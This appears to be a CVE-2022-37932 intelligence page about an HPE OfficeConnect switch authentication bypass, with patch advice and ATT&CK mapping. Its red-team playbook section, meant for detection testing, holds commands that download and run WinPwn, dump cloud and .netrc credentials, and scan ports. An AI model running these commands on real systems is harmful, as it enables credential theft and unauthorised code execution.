CVE-2022-37932

CRITICAL POC TTE 861d Pub 30/11 Upd 24/04

Overview

This vulnerability is an authentication bypass affecting Hewlett Packard Enterprise OfficeConnect 1820, 1850, and 1920S Network switches. The root cause lies in improper validation of authentication credentials within the affected firmware, allowing unauthorized remote access. The flaw resides in the firmware components responsible for access control enforcement on these network switches.

Vulnerability Description

A potential security vulnerability has been identified in Hewlett Packard Enterprise OfficeConnect 1820, 1850, and 1920S Network switches. The vulnerability could be remotely exploited to allow authentication bypass. HPE has made the following software updates to resolve the vulnerability in Hewlett Packard Enterprise OfficeConnect 1820, 1850 and 1920S Network switches versions: Prior to PT.02.14; Prior to PC.01.22; Prior to PO.01.21; Prior to PD.02.22;

Impact

An attacker with network access can remotely bypass authentication controls without user interaction or privileges, gaining full administrative control over the affected switches. This enables unauthorized configuration changes, potential network disruption, and lateral movement within the enterprise environment. The vulnerability's CVSS vector indicates low attack complexity and no required privileges, highlighting the ease of exploitation over the network.

Solution

Hewlett Packard Enterprise has released firmware updates to address this issue in OfficeConnect 1820, 1850, and 1920S Network switches. Affected versions prior to PT.02.14, PC.01.22, PO.01.21, and PD.02.22 should be upgraded to the fixed releases. Detailed patch instructions and downloads are available in HPE advisory document emr_na-hpesbnw04383en_us at https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbnw04383en_us.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A significant security vulnerability has been identified in Hewlett Packard Enterprise's OfficeConnect 1820, 1850, and 1920S Network switches, which allows for authentication bypass. This flaw stems from improper validation of user credentials, enabling an attacker to gain unauthorized access to the device without needing valid authentication. The potential for remote exploitation increases the severity of this vulnerability, as it allows malicious actors to compromise network infrastructure from anywhere, posing a critical risk to organizations relying on these switches for their networking needs.

Attack vectors for this vulnerability are particularly concerning due to the ease with which they can be executed. An attacker could leverage automated tools to scan for vulnerable devices within a network, targeting those that have not been updated to the latest firmware versions. Once access is gained, the attacker could manipulate network configurations, intercept data, or even launch further attacks within the network. Scenarios could include redirecting traffic to malicious servers, executing denial-of-service attacks, or exfiltrating sensitive information. The remote nature of this vulnerability means that organizations may not even be aware that their devices have been compromised until significant damage has been done.

The real-world impact of this vulnerability on businesses can be profound. Compromised network switches can lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. For organizations that handle sensitive customer information, such as financial institutions or healthcare providers, the repercussions could extend beyond immediate financial losses to include regulatory fines, reputational damage, and loss of customer trust. Furthermore, the interconnected nature of modern networks means that a breach in one area can have cascading effects throughout an organization, amplifying the overall risk.

To address this vulnerability, organizations must prioritize detection and mitigation strategies. Regularly updating firmware is essential, as HPE has released specific updates to remediate the issue in affected devices. Organizations should implement a robust patch management policy to ensure that all network devices are kept up to date with the latest security patches. Additionally, employing network segmentation can help limit the potential impact of a compromised device, restricting an attacker's ability to move laterally within the network. Continuous monitoring of network traffic for unusual patterns can also aid in early detection of unauthorized access attempts, allowing for swift incident response.

In conclusion, the authentication bypass vulnerability in Hewlett Packard Enterprise's OfficeConnect network switches represents a serious threat to organizations that utilize these devices. The potential for remote exploitation, coupled with the significant impact on business operations and data security, necessitates immediate attention. By adopting proactive measures such as timely firmware updates, network segmentation, and continuous monitoring, organizations can mitigate the risks associated with this vulnerability and strengthen their overall cybersecurity posture.

Affected Products (19)

Vendor Product Version CPE
hpe Hpe Officeconnect 1820 J9979a Firmware All cpe:2.3:o:hpe:officeconnect_1820_j9979a_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1820 J9982a Firmware All cpe:2.3:o:hpe:officeconnect_1820_j9982a_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1820 J9980a Firmware All cpe:2.3:o:hpe:officeconnect_1820_j9980a_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1820 J9983a Firmware All cpe:2.3:o:hpe:officeconnect_1820_j9983a_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1820 J9981a Firmware All cpe:2.3:o:hpe:officeconnect_1820_j9981a_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1820 J9984a Firmware All cpe:2.3:o:hpe:officeconnect_1820_j9984a_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1850 24g 2xgt Poe\+ Firmware All cpe:2.3:o:hpe:officeconnect_1850_24g_2xgt_poe\+_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1850 24g 2xgt Firmware All cpe:2.3:o:hpe:officeconnect_1850_24g_2xgt_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1850 48g 4xgt Poe\+ Firmware All cpe:2.3:o:hpe:officeconnect_1850_48g_4xgt_poe\+_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1850 48g 4xgt Firmware All cpe:2.3:o:hpe:officeconnect_1850_48g_4xgt_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1850 6xgt Firmware All cpe:2.3:o:hpe:officeconnect_1850_6xgt_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1850 2xgt\/spf\+ Firmware All cpe:2.3:o:hpe:officeconnect_1850_2xgt\/spf\+_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1920s 24g 2sfp Poe\+ Firmware All cpe:2.3:o:hpe:officeconnect_1920s_24g_2sfp_poe\+_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1920s 24g 2sfp Ppoe\+ Firmware All cpe:2.3:o:hpe:officeconnect_1920s_24g_2sfp_ppoe\+_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1920s 24g 2sfp Firmware All cpe:2.3:o:hpe:officeconnect_1920s_24g_2sfp_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1920s 48g 4sfp Ppoe\+ Firmware All cpe:2.3:o:hpe:officeconnect_1920s_48g_4sfp_ppoe\+_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1920s 48g 4sfp Firmware All cpe:2.3:o:hpe:officeconnect_1920s_48g_4sfp_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1920s 8g Ppoe\+ Firmware All cpe:2.3:o:hpe:officeconnect_1920s_8g_ppoe\+_firmware:*:*:*:*:*:*:*:*
hpe Hpe Officeconnect 1920s 8g Firmware All cpe:2.3:o:hpe:officeconnect_1920s_8g_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
Tim-Hoekstra/CVE-2022-37932
Tim-Hoekstra 2 0 2025-04-10 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
2025-04-10
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
89% auth_bypass
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-37932
support.hpe.com
GitHub CVE
https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbnw04383en_us